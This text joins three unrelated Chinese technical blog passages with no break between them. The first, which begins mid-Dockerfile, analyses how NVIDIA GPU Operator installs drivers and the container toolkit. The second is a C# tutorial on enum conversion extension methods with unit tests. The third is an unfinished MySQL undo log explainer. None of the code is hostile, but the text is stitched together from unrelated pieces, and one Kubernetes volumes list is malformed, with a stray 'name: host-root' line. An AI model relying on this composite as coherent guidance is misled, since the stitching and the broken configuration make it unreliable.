        kmod && \
    rm -rf /var/cache/dnf/*

RUN curl -fsSL -o /usr/local/bin/donkey https://github.com/3XX0/donkey/releases/download/v1.1.0/donkey && \
    curl -fsSL -o /usr/local/bin/extract-vmlinux https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux && \
    chmod +x /usr/local/bin/donkey /usr/local/bin/extract-vmlinux

#ARG BASE_URL=http://us.download.nvidia.com/XFree86/Linux-x86_64
ARG BASE_URL=https://us.download.nvidia.com/tesla
ARG DRIVER_VERSION
ENV DRIVER_VERSION=$DRIVER_VERSION

# 然后下载驱动文件并安装,注意 --no-kernel-module,这里只安装了 userspace 部分
RUN cd /tmp && \
    curl -fSsl -O $BASE_URL/$DRIVER_VERSION/NVIDIA-Linux-x86_64-$DRIVER_VERSION.run && \
    sh NVIDIA-Linux-x86_64-$DRIVER_VERSION.run -x && \
    cd NVIDIA-Linux-x86_64-$DRIVER_VERSION && \
    ./nvidia-installer --silent \
                       --no-kernel-module \
                       --install-compat32-libs \
                       --no-nouveau-check \
                       --no-nvidia-modprobe \
                       --no-rpms \
                       --no-backup \
                       --no-check-for-alternate-installs \
                       --no-libglx-indirect \
                       --no-install-libglvnd \
                       --x-prefix=/tmp/null \
                       --x-module-path=/tmp/null \
                       --x-library-path=/tmp/null \
                       --x-sysconfig-path=/tmp/null && \
    mkdir -p /usr/src/nvidia-$DRIVER_VERSION && \
    mv LICENSE mkprecompiled kernel /usr/src/nvidia-$DRIVER_VERSION && \
    sed '9,${/^\(kernel\|LICENSE\)/!d}' .manifest > /usr/src/nvidia-$DRIVER_VERSION/.manifest && \
    rm -rf /tmp/*

COPY nvidia-driver /usr/local/bin

WORKDIR /usr/src/nvidia-$DRIVER_VERSION

ARG PUBLIC_KEY=empty
COPY ${PUBLIC_KEY} kernel/pubkey.x509

ARG PRIVATE_KEY

# Remove cuda repository to avoid GPG errors
RUN rm -f /etc/yum.repos.d/cuda.repo

# Add NGC DL license from the CUDA image
RUN mkdir /licenses && mv /NGC-DL-CONTAINER-LICENSE /licenses/NGC-DL-CONTAINER-LICENSE

ENTRYPOINT ["nvidia-driver", "init"]

最后执行的
nvidia-driver
是一个脚本文件,init 部分内容如下:

init() {
    echo -e "\n========== NVIDIA Software Installer ==========\n"
    echo -e "Starting installation of NVIDIA driver version ${DRIVER_VERSION} for Linux kernel version ${KERNEL_VERSION}\n"

    exec 3> ${PID_FILE}
    if ! flock -n 3; then
        echo "An instance of the NVIDIA driver is already running, aborting"
        exit 1
    fi
    echo $$ >&3

    trap "echo 'Caught signal'; exit 1" HUP INT QUIT PIPE TERM
    trap "_shutdown" EXIT

    _unload_driver || exit 1
    _unmount_rootfs

    if _kernel_requires_package; then
        _update_package_cache
        _resolve_kernel_version || exit 1
        _install_prerequisites
        _create_driver_package
        #_remove_prerequisites
        _cleanup_package_cache
    fi

    _install_driver
    _load_driver
    _mount_rootfs
    _write_kernel_update_hook

    echo "Done, now waiting for signal"
    sleep infinity &
    trap "echo 'Caught signal'; _shutdown && { kill $!; exit 0; }" HUP INT QUIT PIPE TERM
    trap - EXIT
    while true; do wait $! || continue; done
    exit 0
}

然后
_install_driver
部分在安装驱动,因为之前构建镜像时就安装了 userspace 部分,因此这里指定了
--kernel-module-only
来限制安装驱动部分。

这也是为什么容器方式安装很快,因为在构建镜像时就不 驱动的 userspace 部分安装好了。

# Link and install the kernel modules from a precompiled package using the nvidia-installer.
_install_driver() {
    local install_args=()

    echo "Installing NVIDIA driver kernel modules..."
    cd /usr/src/nvidia-${DRIVER_VERSION}
    rm -rf /lib/modules/${KERNEL_VERSION}/video

    if [ "${ACCEPT_LICENSE}" = "yes" ]; then
        install_args+=("--accept-license")
    fi
    nvidia-installer --kernel-module-only --no-drm --ui=none --no-nouveau-check ${install_args[@]+"${install_args[@]}"}
}

_load_driver
加载相关内核模块

# Load the kernel modules and start persistenced.
_load_driver() {
    echo "Loading ipmi and i2c_core kernel modules..."
    modprobe -a i2c_core ipmi_msghandler ipmi_devintf

    echo "Loading NVIDIA driver kernel modules..."
    modprobe -a nvidia nvidia-uvm nvidia-modeset

    echo "Starting NVIDIA persistence daemon..."
    nvidia-persistenced --persistence-mode
}

_mount_rootfs
将驱动程序挂载到 /var/run 目录下

# Mount the driver rootfs into the run directory with the exception of sysfs.
_mount_rootfs() {
    echo "Mounting NVIDIA driver rootfs..."
    mount --make-runbindable /sys
    mount --make-private /sys
    mkdir -p ${RUN_DIR}/driver
    mount --rbind / ${RUN_DIR}/driver
}

这就是驱动安装的部分流程,和我们看到的 Pod 日志也是匹配的。

卸载的话就是相反的操作了。

NVIDIA Container Toolkit Installer

该组件用于安装 NVIDIA Container Toolkit。

手动安装的时候有两个步骤:

  • 1)安装 NVIDIA Container Toolkit
  • 2)修改 Runtime 配置指定使用 nvidia-runtime

在整个调用链中新增 nvidia-container-runtime,以便处理 GPU 相关操作。

nv-container-runtime-call-flow

这个 Installer 做的操作也就是这两步:

  • 1)将容器中NVIDIA Container Toolkit组件所涉及的命令行工具和库文件移动到/usr/local/nvidia/toolkit目录下
  • 2)在 /usr/local/nvidia/toolkit/.config/nvidia-container-runtime创建nvidia-container-runtime的配置文件config.toml,并设置nvidia-container-cli.root的值为/run/nvidia/driver。

安装

该 Installer 对应的 DaemonSet 为
nvidia-container-toolkit-daemonset

Pod 启动命令如下:

      containers:
      - args:
        - /bin/entrypoint.sh
        command:
        - /bin/bash
        - -c      

这个
entrypoint.sh
内容存放在
nvidia-container-toolkit-entrypoint
Configmap 中,内容如下:

apiVersion: v1
data:
  entrypoint.sh: |-
    #!/bin/bash

    set -e

    driver_root=/run/nvidia/driver
    driver_root_ctr_path=$driver_root
    if [[ -f /run/nvidia/validations/host-driver-ready ]]; then
      driver_root=/
      driver_root_ctr_path=/host
    fi

    export NVIDIA_DRIVER_ROOT=$driver_root
    export DRIVER_ROOT_CTR_PATH=$driver_root_ctr_path

    #
    # The below delay is a workaround for an issue affecting some versions
    # of containerd starting with 1.6.9. Staring with containerd 1.6.9 we
    # started seeing the toolkit container enter a crashloop whereby it
    # would recieve a SIGTERM shortly after restarting containerd.
    #
    # Refer to the commit message where this workaround was implemented
    # for additional details:
    #   https://github.com/NVIDIA/gpu-operator/commit/963b8dc87ed54632a7345c1fcfe842f4b7449565
    #
    sleep 5

    exec nvidia-toolkit

设置了驱动相关环境变量,真正执行配置的是
exec nvidia-toolkit
这一句。

该同样使用 hostPath 方式把宿主机目录挂载到容器中,便于对宿主机上的内容进行修改。

      volumes:
      - hostPath:
          path: /run/nvidia
          type: DirectoryOrCreate
        name: nvidia-run-path
      - hostPath:
          path: /run/nvidia/validations
          type: DirectoryOrCreate
        name: run-nvidia-validations
      - hostPath:
          path: /run/nvidia/driver
          type: ""
        name: driver-install-path
        name: host-root
      - hostPath:
          path: /usr/local/nvidia
          type: ""
        name: toolkit-install-dir
      - hostPath:
          path: /run/containers/oci/hooks.d
          type: ""
        name: crio-hooks
      - hostPath:
          path: /dev/char
          type: ""
        name: host-dev-char
      - hostPath:
          path: /var/run/cdi
          type: DirectoryOrCreate
        name: cdi-root
      - hostPath:
          path: /etc/docker
          type: DirectoryOrCreate
        name: docker-config
      - hostPath:
          path: /var/run
          type: ""
        name: docker-socket

查看 Pod 日志,看看安装流程

root@test:~# kubectl -n gpu-operator logs -f nvidia-container-toolkit-daemonset-rqgtv
# 安装 container toolkit
time="2024-06-12T02:07:58Z" level=info msg="Parsing arguments"
time="2024-06-12T02:07:58Z" level=info msg="Starting nvidia-toolkit"
time="2024-06-12T02:07:58Z" level=info msg="Verifying Flags"
time="2024-06-12T02:07:58Z" level=info msg=Initializing
time="2024-06-12T02:07:58Z" level=info msg="Installing toolkit"
time="2024-06-12T02:07:58Z" level=info msg="Installing NVIDIA container toolkit to '/usr/local/nvidia/toolkit'"

# 修改配置
time="2024-06-12T02:07:58Z" level=info msg="Installing NVIDIA container toolkit config '/usr/local/nvidia/toolkit/.config/nvidia-container-runtime/config.toml'"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.debug"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.log-level"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.mode"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.modes.cdi.annotation-prefixes"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.runtimes"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-cli.debug"
Using config:
accept-nvidia-visible-devices-as-volume-mounts = false
accept-nvidia-visible-devices-envvar-when-unprivileged = true
disable-require = false

[nvidia-container-cli]
  environment = []
  ldconfig = "@/run/nvidia/driver/sbin/ldconfig.real"
  load-kmods = true
  path = "/usr/local/nvidia/toolkit/nvidia-container-cli"
  root = "/run/nvidia/driver"

[nvidia-container-runtime]
  log-level = "info"
  mode = "auto"
  runtimes = ["docker-runc", "runc"]

  [nvidia-container-runtime.modes]

    [nvidia-container-runtime.modes.cdi]
      default-kind = "management.nvidia.com/gpu"

    [nvidia-container-runtime.modes.csv]
      mount-spec-path = "/etc/nvidia-container-runtime/host-files-for-container.d"

[nvidia-container-runtime-hook]
  path = "/usr/local/nvidia/toolkit/nvidia-container-runtime-hook"
  skip-mode-detection = true

[nvidia-ctk]
  path = "/usr/local/nvidia/toolkit/nvidia-ctk"
time="2024-06-12T02:07:58Z" level=info msg="Setting up runtime"
time="2024-06-12T02:07:58Z" level=info msg="Parsing arguments: [/usr/local/nvidia/toolkit]"
time="2024-06-12T02:07:58Z" level=info msg="Successfully parsed arguments"
time="2024-06-12T02:07:58Z" level=info msg="Starting 'setup' for docker"
time="2024-06-12T02:07:58Z" level=info msg="Loading docker config from /runtime/config-dir/daemon.json"
time="2024-06-12T02:07:58Z" level=info msg="Successfully loaded config"
time="2024-06-12T02:07:58Z" level=info msg="Flushing config to /runtime/config-dir/daemon.json"

和手动安装类似,分为两步。

查看宿主机上 Docker 的配置文件,也确实是被修改过的,default-runtime 改成了 nvidia。

root@test:~# cat /etc/docker/daemon.json
{
    "data-root": "/var/lib/docker",
    "default-runtime": "nvidia",
    "exec-opts": [
        "native.cgroupdriver=systemd"
    ],
    "log-driver": "json-file",
    "log-opts": {
        "max-file": "3",
        "max-size": "100m"
    },
    "registry-mirrors": [
        "https://docker.chenby.cn"
    ],
    "runtimes": {
        "nvidia": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime"
        },
        "nvidia-cdi": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime.cdi"
        },
        "nvidia-experimental": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime.experimental"
        },
        "nvidia-legacy": {
            "args": [],
            "path": "/usr/local/nvidia/toolkit/nvidia-container-runtime.legacy"
        }
    },
    "storage-driver": "overlay2",
    "storage-opts": [
        "overlay2.override_kernel_check=true"
    ]
}

这就是 NVIDIA Container Toolkit Installer 的安装部分,具体代码实现可以看下一节 镜像构建 部分。

镜像构建

Installer 代码合并到了
nvidia-container-toolkit 仓库 tools 目录
,分别为不同的 Runtime 做了不同的实现,比如 Containerd 的实现就在
containerd.go
中,部分代码如下:

// Setup updates a containerd configuration to include the nvidia-containerd-runtime and reloads it
func Setup(c *cli.Context, o *options) error {
	log.Infof("Starting 'setup' for %v", c.App.Name)

	cfg, err := containerd.New(
		containerd.WithPath(o.Config),
		containerd.WithRuntimeType(o.runtimeType),
		containerd.WithUseLegacyConfig(o.useLegacyConfig),
		containerd.WithContainerAnnotations(o.containerAnnotationsFromCDIPrefixes()...),
	)
	if err != nil {
		return fmt.Errorf("unable to load config: %v", err)
	}

	runtimeConfigOverride, err := o.runtimeConfigOverride()
	if err != nil {
		return fmt.Errorf("unable to parse config overrides: %w", err)
	}
	err = o.Configure(cfg, runtimeConfigOverride)
	if err != nil {
		return fmt.Errorf("unable to configure containerd: %v", err)
	}

	err = RestartContainerd(o)
	if err != nil {
		return fmt.Errorf("unable to restart containerd: %v", err)
	}

	log.Infof("Completed 'setup' for %v", c.App.Name)

	return nil
}
// Cleanup reverts a containerd configuration to remove the nvidia-containerd-runtime and reloads it
func Cleanup(c *cli.Context, o *options) error {
	log.Infof("Starting 'cleanup' for %v", c.App.Name)

	cfg, err := containerd.New(
		containerd.WithPath(o.Config),
		containerd.WithRuntimeType(o.runtimeType),
		containerd.WithUseLegacyConfig(o.useLegacyConfig),
		containerd.WithContainerAnnotations(o.containerAnnotationsFromCDIPrefixes()...),
	)
	if err != nil {
		return fmt.Errorf("unable to load config: %v", err)
	}

	err = o.Unconfigure(cfg)
	if err != nil {
		return fmt.Errorf("unable to unconfigure containerd: %v", err)
	}

	err = RestartContainerd(o)
	if err != nil {
		return fmt.Errorf("unable to restart containerd: %v", err)
	}

	log.Infof("Completed 'cleanup' for %v", c.App.Name)

	return nil
}

其中

  • Setup 为修改 Runtime 配置,增加 nvidia runtime
  • Cleanup 则是取消 Runtime 配置中 nvidia runtime

对应的
Dockerfile
内容如下:

# Copyright (c) 2019-2021, NVIDIA CORPORATION.  All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

ARG GOLANG_VERSION=x.x.x
ARG VERSION="N/A"

FROM nvidia/cuda:12.5.1-base-ubi8 as build

RUN yum install -y \
    wget make git gcc \
     && \
    rm -rf /var/cache/yum/*

ARG GOLANG_VERSION=x.x.x
RUN set -eux; \
    \
    arch="$(uname -m)"; \
    case "${arch##*-}" in \
        x86_64 | amd64) ARCH='amd64' ;; \
        ppc64el | ppc64le) ARCH='ppc64le' ;; \
        aarch64 | arm64) ARCH='arm64' ;; \
        *) echo "unsupported architecture" ; exit 1 ;; \
    esac; \
    wget -nv -O - https://storage.googleapis.com/golang/go${GOLANG_VERSION}.linux-${ARCH}.tar.gz \
    | tar -C /usr/local -xz


ENV GOPATH /go
ENV PATH $GOPATH/bin:/usr/local/go/bin:$PATH

WORKDIR /build
COPY . .

# NOTE: Until the config utilities are properly integrated into the
# nvidia-container-toolkit repository, these are built from the `tools` folder
# and not `cmd`.
RUN GOPATH=/artifacts go install -ldflags="-s -w -X 'main.Version=${VERSION}'" ./tools/...


FROM nvidia/cuda:12.5.1-base-ubi8

ENV NVIDIA_DISABLE_REQUIRE="true"
ENV NVIDIA_VISIBLE_DEVICES=void
ENV NVIDIA_DRIVER_CAPABILITIES=utility

ARG ARTIFACTS_ROOT
ARG PACKAGE_DIST
COPY ${ARTIFACTS_ROOT}/${PACKAGE_DIST} /artifacts/packages/${PACKAGE_DIST}

WORKDIR /artifacts/packages

ARG PACKAGE_VERSION
ARG TARGETARCH
ENV PACKAGE_ARCH ${TARGETARCH}
RUN PACKAGE_ARCH=${PACKAGE_ARCH/amd64/x86_64} && PACKAGE_ARCH=${PACKAGE_ARCH/arm64/aarch64} && \
    yum localinstall -y \
    ${PACKAGE_DIST}/${PACKAGE_ARCH}/libnvidia-container1-1.*.rpm \
    ${PACKAGE_DIST}/${PACKAGE_ARCH}/libnvidia-container-tools-1.*.rpm \
    ${PACKAGE_DIST}/${PACKAGE_ARCH}/nvidia-container-toolkit*-${PACKAGE_VERSION}*.rpm

WORKDIR /work

COPY --from=build /artifacts/bin /work

ENV PATH=/work:$PATH

LABEL io.k8s.display-name="NVIDIA Container Runtime Config"
LABEL name="NVIDIA Container Runtime Config"
LABEL vendor="NVIDIA"
LABEL version="${VERSION}"
LABEL release="N/A"
LABEL summary="Automatically Configure your Container Runtime for GPU support."
LABEL description="See summary"

RUN mkdir /licenses && mv /NGC-DL-CONTAINER-LICENSE /licenses/NGC-DL-CONTAINER-LICENSE

ENTRYPOINT ["/work/nvidia-toolkit"]

这部分比较简单,就是编译生成二进制文件,以及安装部分依赖的 RPM 包。


【Kubernetes 系列】
持续更新中,搜索公众号【
探索云原生
】订阅,阅读更多文章。


5. 小结

本文主要分享如何使用 GPU Operator 自动化完成 GPU Driver、NVIDIA Container Toolkit、device-plugin、exporter 等组件的部署,快速实现在 k8s 环境中使用 GPU。

最后简单分析了 Driver Installer 和 NVIDIA Container Toolkit Installer 这两个组件的工作原理。


GPU Operator 极大简化了在 k8s 中使用 GPU 的繁琐过程,但是也存在一些缺点:

  • Driver Installer 以 DaemonSet 方式运行的,每个节点上运行的 Pod 都一样,但是镜像由 驱动版本+内核版本+操作系统版本拼接而成,因此
    需要集群中所有节点操作系统一致
  • NVIDIA Container Toolkit Installer 同样是以 DaemonSet 方式运行的,另外安装时需要指定 Runtime,这也
    造成了集群的节点必须安装相同的 Container Runtime

6. 参考

gpu-operator getting-started

About the NVIDIA GPU Operator

nvidia-container-toolkit

NVIDIA GPU Operator分析一:NVIDIA驱动安装

书接上回,今天继续和大家享一些关于枚举操作相关的常用扩展方法。

今天主要分享通过枚举值转换成枚举、枚举名称以及枚举描述相关实现。

我们首先修改一下上一篇定义用来测试的正常枚举,新增一个枚举项,代码如下:

//正常枚举
internal enum StatusEnum
{
    [Description("正常")]
    Normal = 0,
    [Description("待机")]
    Standby = 1,
    [Description("离线")]
    Offline = 2,
    Online = 3,
    Fault = 4,
}

01
、根据枚举值转换成枚举

该方法接收枚举值作为参数,并转为对应枚举,转换失败则返回空。

枚举类Enum中自带了两种转换方法,其一上篇文章使用过即Parse,这个方法可以接收string或Type类型作为参数,其二为ToObject方法,接收参数为整数类型。

因为枚举值本身就是整数类型,因此我们选择ToObject方法作为最终实现,这样就避免使用Parse方法时还需要把整数类型参数进行转换。

同时我们通过上图可以发现枚举值可能的类型有uint、ulong、ushort、sbyte、long、int、byte、short八种情况。

因此下面我们以int类型作为示例,进行说明,但同时考虑到后面通用性、扩展性,我们再封装一个公共的泛型实现可以做到支持上面八种类型。因此本方法会调用一个内部私有方法,具体如下:

//根据枚举值转换成枚举,转换失败则返回空
public static T? ToEnumByValue<T>(this int value) where T : struct, Enum
{
    //调用根据枚举值转换成枚举方法
    return ToEnumByValue<int, T>(value);
}

而内部私有方法即通过泛型实现对多种类型支持,我们先看代码实现再详细讲解,具体代码如下:

//根据枚举值转换成枚举,转换失败则返回空
private static TEnum? ToEnumByValue<TSource, TEnum>(this TSource value)
    where TSource : struct
    where TEnum : struct, Enum
{
    //检查整数值是否是有效的枚举值并且是否是有效位标志枚举组合项
    if (!Enum.IsDefined(typeof(TEnum), value) && !IsValidFlagsMask<TSource, TEnum>(value))
    {
        //非法数据则返回空
        return default;
    }
    //有效枚举值则进行转换
    return (TEnum)Enum.ToObject(typeof(TEnum), value);
}

该方法首先验证参数合法性,验证通过直接使用ToObject方法进行转换。

参数验证首先通过Enum.IsDefined方法校验参数是否是有效的枚举项,这是因为无论是ToObject方法还是Parse方法对于整数类型参数都是可以转换成功的,无论这个参数是否是枚举中的项,因此我们需要首先排查掉非枚举中的项。

而该方法中IsValidFlagsMask方法主要是针对位标志枚举组合情况,位标志枚举特性导致即使我们枚举项中没有定义相关项,但是可以通过组合得到而且是合法的,因此我们需要对位标志枚举单独处理,具体实现代码如下:

//存储枚举是否为位标志枚举
private static readonly ConcurrentDictionary<Type, bool> _flags = new();
//存储枚举对应掩码值
private static readonly ConcurrentDictionary<Type, long> _flagsMasks = new();
private static bool IsValidFlagsMask<TSource, TEnum>(TSource source)
    where TSource : struct
    where TEnum : struct, Enum
{
    var type = typeof(TEnum);
    //判断是否为位标志枚举,如果有缓存直接获取,否则计算后存入缓存再返回
    var isFlags = _flags.GetOrAdd(type, (key) =>
    {
        //检查枚举类型是否有Flags特性
        return Attribute.IsDefined(key, typeof(FlagsAttribute));
    });
    //如果不是位标志枚举则返回false
    if (!isFlags)
    {
        return false;
    }
    //获取枚举掩码,如果有缓存直接获取,否则计算后存入缓存再返回
    var mask = _flagsMasks.GetOrAdd(type, (key) =>
    {
        //初始化存储掩码变量
        var mask = 0L;
        //获取枚举所有值
        var values = Enum.GetValues(key);
        //遍历所有枚举值,通过位或运算合并所有枚举值
        foreach (Enum enumValue in values)
        {
            //将枚举值转为long类型
            var valueLong = Convert.ToInt64(enumValue);
            // 过滤掉负数或无效的值,规范的位标志枚举应该都为非负数
            if (valueLong >= 0)
            {
                //合并枚举值至mask
                mask |= valueLong;
            }
        }
        //返回包含所有枚举值的枚举掩码
        return mask;
    });
    var value = Convert.ToInt64(source);
    //使用待验证值value和枚举掩码取反做与运算
    //结果等于0表示value为有效枚举值
    return (value & ~mask) == 0;
}

该方法首先是判断当前枚举是否是位标志枚举即枚举是否带有Flags特性,可以通过Attribute.IsDefined实现,考虑到性能问题,因此我们把枚举是否为位标志枚举存入缓存中,当下次使用时就不必再次判断了。

如果当前枚举不是位标志枚举则之间返回false。

如果是位标志枚举则进入关键点了,如何判断一个值是否为一组值或一组值任意组合里面的一个?

这里用到了位掩码技术,通过按位或对所有枚举项进行标记,达到合并所有枚举项的目的,同时还包括可能的组合情况。

这里存储掩码的变量定义为long类型,因为我们需要兼容上文提到的八种整数类型。同时一个符合规范的位标志枚举设计枚举值是不会出现负数的因此也需要过滤掉。

同时考虑到性能问题,也需要把每个枚举对于的枚举掩码记录到缓存中方便下次使用。

拿到枚举掩码后我们需要对其进行取反,即表示所有符合要求的值,此值再与待验证参数做按位与操作,如果不为0表示待验证才是为无效枚举值,否则为有效枚举值。

关于位操作我们后面找机会再单独详解讲解其中原理和奥秘。

讲解完整个实现过程我们还需要对该方法进行详细的单元测试,具体分为以下几种情况:

(1) 正常枚举值,成功转换成枚举;

(2) 不存在的枚举值,但是可以通过枚举项按位或合并得到,返回空;

(3) 不存在的枚举值,也不可以通过枚举项按位或合并得到,返回空;

(4) 正常位标志枚举值,成功转换成枚举;

(5) 不存在的枚举值,但是可以通过枚举项按位或合并得到,成功转换成枚举;

(6) 不存在的枚举值,也不可以通过枚举项按位或合并得到,返回空;

具体实现代码如下:

[Fact]
public void ToEnumByValue()
{
    //正常枚举值,成功转换成枚举
    var status = 1.ToEnumByValue<StatusEnum>();
    Assert.Equal(StatusEnum.Standby, status);
    //不存在的枚举值,但是可以通过枚举项按位或合并得到,返回空
    var isStatusNull = 5.ToEnumByValue<StatusEnum>();
    Assert.Null(isStatusNull);
    //不存在的枚举值,也不可以通过枚举项按位或合并得到,返回空
    var isStatusNull1 = 8.ToEnumByValue<StatusEnum>();
    Assert.Null(isStatusNull1);
    //正常位标志枚举值,成功转换成枚举
    var flags = 3.ToEnumByValue<TypeFlagsEnum>();
    Assert.Equal(TypeFlagsEnum.HttpAndUdp, flags);
    //不存在的枚举值,但是可以通过枚举项按位或合并得到,成功转换成枚举
    var flagsGroup = 5.ToEnumByValue<TypeFlagsEnum>();
    Assert.Equal(TypeFlagsEnum.Http | TypeFlagsEnum.Tcp, flagsGroup);
    //不存在的枚举值,也不可以通过枚举项按位或合并得到,返回空
    var isFlagsNull = 8.ToEnumByValue<TypeFlagsEnum>();
    Assert.Null(isFlagsNull);
}

02
、根据枚举值转换成枚举或默认值

该方法是对上一个方法的补充,用于处理转换不成功时,则返回一个指定默认枚举,具体代码如下:

//根据枚举值转换成枚举,转换失败则返回默认枚举
public static T? ToEnumOrDefaultByValue<T>(this int value, T defaultValue) 
    where T : struct, Enum
{
    //调用根据枚举值转换成枚举方法
    var result = value.ToEnumByValue<T>();
    if (result.HasValue)
    {
        //返回枚举
        return result.Value;
    }
    //转换失败则返回默认枚举
    return defaultValue;
}

然后我们进行一个简单单元测试,代码如下:

[Fact]
public void ToEnumOrDefaultByValue()
{
    //正常枚举值,成功转换成枚举
    var status = 1.ToEnumOrDefaultByValue(StatusEnum.Offline);
    Assert.Equal(StatusEnum.Standby, status);
    //不存在的枚举值,返回指定默认枚举
    var statusDefault = 5.ToEnumOrDefaultByValue(StatusEnum.Offline);
    Assert.Equal(StatusEnum.Offline, statusDefault);
}

03
、根据枚举值转换成枚举名称

该方法接收枚举值作为参数,并转为对应枚举名称,转换失败则返回空。

实现则是通过根据枚举值转换成枚举方法获得枚举,然后通过枚举获取枚举名称,具体代码如下:

//根据枚举值转换成枚举名称,转换失败则返回空
public static string? ToEnumNameByValue<T>(this int value) where T : struct, Enum
{
    //调用根据枚举值转换成枚举方法
    var result = value.ToEnumByValue<T>();
    if (result.HasValue)
    {
        //返回枚举名称
        return result.Value.ToString();
    }
    //转换失败则返回空
    return default;
}

我们进行如下单元测试:

[Fact]
public void ToEnumNameByValue()
{
    //正常枚举值,成功转换成枚举名称
    var status = 1.ToEnumNameByValue<StatusEnum>();
    Assert.Equal("Standby", status);
    //不存在的枚举值,返回空
    var isStatusNull = 10.ToEnumNameByValue<StatusEnum>();
    Assert.Null(isStatusNull);
    //正常位标志枚举值,成功转换成枚举名称
    var flags = 3.ToEnumNameByValue<TypeFlagsEnum>();
    Assert.Equal("HttpAndUdp", flags);
    //不存在的位标志枚举值,返回空
    var isFlagsNull = 20.ToEnumNameByValue<TypeFlagsEnum>();
    Assert.Null(isFlagsNull);
}

04
、根据枚举值转换成枚举名称默认值

该方法是对上一个方法的补充,用于处理转换不成功时,则返回一个指定默认枚举名称,具体代码如下:

//根据枚举值转换成枚举名称,转换失败则返回默认枚举名称
public static string? ToEnumNameOrDefaultByValue<T>(this int value, string defaultValue) 
    where T : struct, Enum
{
    //调用根据枚举值转换成枚举名称方法
    var result = value.ToEnumNameByValue<T>();
    if (!string.IsNullOrWhiteSpace(result))
    {
        //返回枚举名称
        return result;
    }
    //转换失败则返回默认枚举名称
    return defaultValue;
}

进行简单的单元测试,具体代码如下:

[Fact]
public void ToEnumNameOrDefaultByValue()
{
    //正常枚举值,成功转换成枚举名称
    var status = 1.ToEnumNameOrDefaultByValue<StatusEnum>("离线");
    Assert.Equal("Standby", status);
    //不存在的枚举名值,返回指定默认枚举名称
    var statusDefault = 12.ToEnumNameOrDefaultByValue<StatusEnum>("离线");
    Assert.Equal("离线", statusDefault);
}

05
、根据枚举值转换成枚举描述

该方法接收枚举值作为参数,并转为对应枚举名称,转换失败则返回空。

实现则是通过根据枚举值转换成枚举方法获得枚举,然后通过枚举获取枚举描述,具体代码如下:

//根据枚举值转换成枚举描述,转换失败则返回空
public static string? ToEnumDescByValue<T>(this int value) where T : struct, Enum
{
    //调用根据枚举值转换成枚举方法
    var result = value.ToEnumByValue<T>();
    if (result.HasValue)
    {
        //返回枚举描述
        return result.Value.ToEnumDesc();
    }
    //转换失败则返回空
    return default;
}

单元测试如下:

[Fact]
public void ToEnumDescByValue()
{
    //正常位标志枚举值,成功转换成枚举描述
    var flags = 3.ToEnumDescByValue<TypeFlagsEnum>();
    Assert.Equal("Http协议,Udp协议", flags);
    //正常的位标志枚举值,组合项不存在,成功转换成枚举描述
    var flagsGroup1 = 5.ToEnumDescByValue<TypeFlagsEnum>();
    Assert.Equal("Http协议,Tcp协议", flagsGroup1);
}

06
、根据枚举值转换成枚举描述默认值

该方法是对上一个方法的补充,用于处理转换不成功时,则返回一个指定默认枚举描述,具体代码如下:

//根据枚举值转换成枚举描述,转换失败则返回默认枚举描述
public static string? ToEnumDescOrDefaultByValue<T>(this int value, string defaultValue) 
    where T : struct, Enum
{
    //调用根据枚举值转换成枚举描述方法
    var result = value.ToEnumDescByValue<T>();
    if (!string.IsNullOrWhiteSpace(result))
    {
        //返回枚举描述
        return result;
    }
    //转换失败则返回默认枚举描述
    return defaultValue;
}

单元测试代码如下:

[Fact]
public void ToEnumDescOrDefaultByValue()
{
    //正常枚举值,成功转换成枚举描述
    var status = 1.ToEnumDescOrDefaultByValue<StatusEnum>("测试");
    Assert.Equal("待机", status);
    //不存在的枚举值,返回指定默认枚举描述
    var statusDefault = 11.ToEnumDescOrDefaultByValue<StatusEnum>("测试");
    Assert.Equal("测试", statusDefault);
}

稍晚些时候我会把库上传至Nuget,大家可以直接使用Ideal.Core.Common。


:测试方法代码以及示例源码都已经上传至代码库,有兴趣的可以看看。
https://gitee.com/hugogoos/Ideal

概述

  • undo log(回滚日志):是 Innodb 存储引擎层生成的日志,实现了事务中的
    原子性
    ,主要用于事务回滚和 MVCC。
  • redo log(重做日志):是 Innodb 存储引擎层生成的日志,实现了事务中的
    持久性
    ,主要用于掉电等故障恢复;
  • binlog (归档日志):是 Server 层生成的日志,主要用于数据备份和主从复制;

回滚日志(undo log)

作用

  • 保存了事务发生之前的数据的一个版本,可以用于回滚,保障原子性
  • 实现多版本并发控制下的读(MVCC)的关键因素之一,也即非锁定读,MVCC通过Read View + undolog的版本链实现,可以具体看
    MVCC的快照读

内容

逻辑格式的日志,在执行 undo 的时候,仅仅是将数据从逻辑上恢复至事务之前的状态,而不是从物理页面上操作实现的,这一点是不同于redo log 的。

每当 InnoDB 引擎对一条记录进行操作(修改、删除、新增)时,要把回滚时需要的信息都记录到 undo log 里,比如:


  • 插入insert
    一条记录时,要把这条记录的主键值记下来,这样之后回滚时只需要把这个主键值对应的
    记录删掉delete
    就好了;

  • 删除delete
    一条记录时,要把这条记录中的内容都记下来,这样之后回滚时再把由这些内容组成的
    记录插入insert
    到表中就好了;

  • 更新
    一条记录时,要把被更新的列的旧值记下来,这样之后回滚时再把这些列
    更新为旧值
    就好了。

什么时候产生

事务开始之前
,MySQL 会先记录更新前的数据到 undo log 日志文件里面,当事务回滚时,可以利用 undo log 来进行回滚。同时undo 也会产生 redo 来保证undo log的可靠性。

什么时候刷盘

